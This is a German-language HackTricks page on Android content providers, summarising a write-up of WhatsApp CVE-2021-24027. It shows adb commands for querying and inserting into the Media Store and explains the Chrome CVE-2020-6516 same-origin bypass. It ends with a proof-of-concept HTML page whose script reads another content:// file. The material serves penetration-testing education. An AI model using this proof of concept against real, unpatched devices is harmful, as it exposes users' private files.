hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md
2024-02-10 15:36:32 +00:00

6.2 KiB

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Dies ist eine Zusammenfassung des Beitrags https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Auflisten von Dateien im Media Store

Um Dateien aufzulisten, die vom Media Store verwaltet werden, kann der folgende Befehl verwendet werden:

$ content query --uri content://media/external/file

Für eine benutzerfreundlichere Ausgabe, die nur den Bezeichner und den Pfad jeder indexierten Datei anzeigt:

$ content query --uri content://media/external/file --projection _id,_data

Content-Provider sind in ihrem eigenen privaten Namespace isoliert. Der Zugriff auf einen Provider erfordert die spezifische content:// URI. Informationen über die Pfade zum Zugriff auf einen Provider können aus den Anwendungsmanifesten oder dem Quellcode des Android-Frameworks abgerufen werden.

Chroms Zugriff auf Content-Provider

Chrome auf Android kann über das content://-Schema auf Content-Provider zugreifen und so auf Ressourcen wie Fotos oder von Drittanbieteranwendungen exportierte Dokumente zugreifen. Um dies zu veranschaulichen, kann eine Datei in den Media Store eingefügt und dann über Chrome darauf zugegriffen werden:

Fügen Sie einen benutzerdefinierten Eintrag in den Media Store ein:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Entdecken Sie die Kennung der neu eingefügten Datei:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Die Datei kann dann in Chrome angezeigt werden, indem eine URL mit der Kennung der Datei erstellt wird.

Zum Beispiel, um Dateien im Zusammenhang mit einer bestimmten Anwendung aufzulisten:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Die Same Origin Policy (SOP) ist ein Sicherheitsprotokoll in Browsern, das verhindert, dass Webseiten auf Ressourcen aus verschiedenen Ursprüngen zugreifen, es sei denn, dies wird explizit durch eine Cross-Origin-Resource-Sharing (CORS) Richtlinie erlaubt. Diese Richtlinie soll Informationslecks und Cross-Site Request Forgery verhindern. Chrome betrachtet content:// als lokales Schema, was strengere SOP-Regeln impliziert, wobei jede URL mit lokalem Schema als separater Ursprung behandelt wird.

Jedoch war CVE-2020-6516 eine Sicherheitslücke in Chrome, die einen Umgehung der SOP-Regeln für über eine content:// URL geladene Ressourcen ermöglichte. In der Praxis konnte JavaScript-Code von einer content:// URL auf andere über content:// URLs geladene Ressourcen zugreifen, was ein erhebliches Sicherheitsrisiko darstellte, insbesondere auf Android-Geräten mit Versionen vor Android 10, wo der Scoped Storage nicht implementiert war.

Der unten stehende Proof-of-Concept demonstriert diese Sicherheitslücke, bei der ein HTML-Dokument, nachdem es unter /sdcard hochgeladen und zur Media Store hinzugefügt wurde, XMLHttpRequest in seinem JavaScript verwendet, um auf den Inhalt einer anderen Datei im Media Store zuzugreifen und diesen anzuzeigen, wobei die SOP-Regeln umgangen werden.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: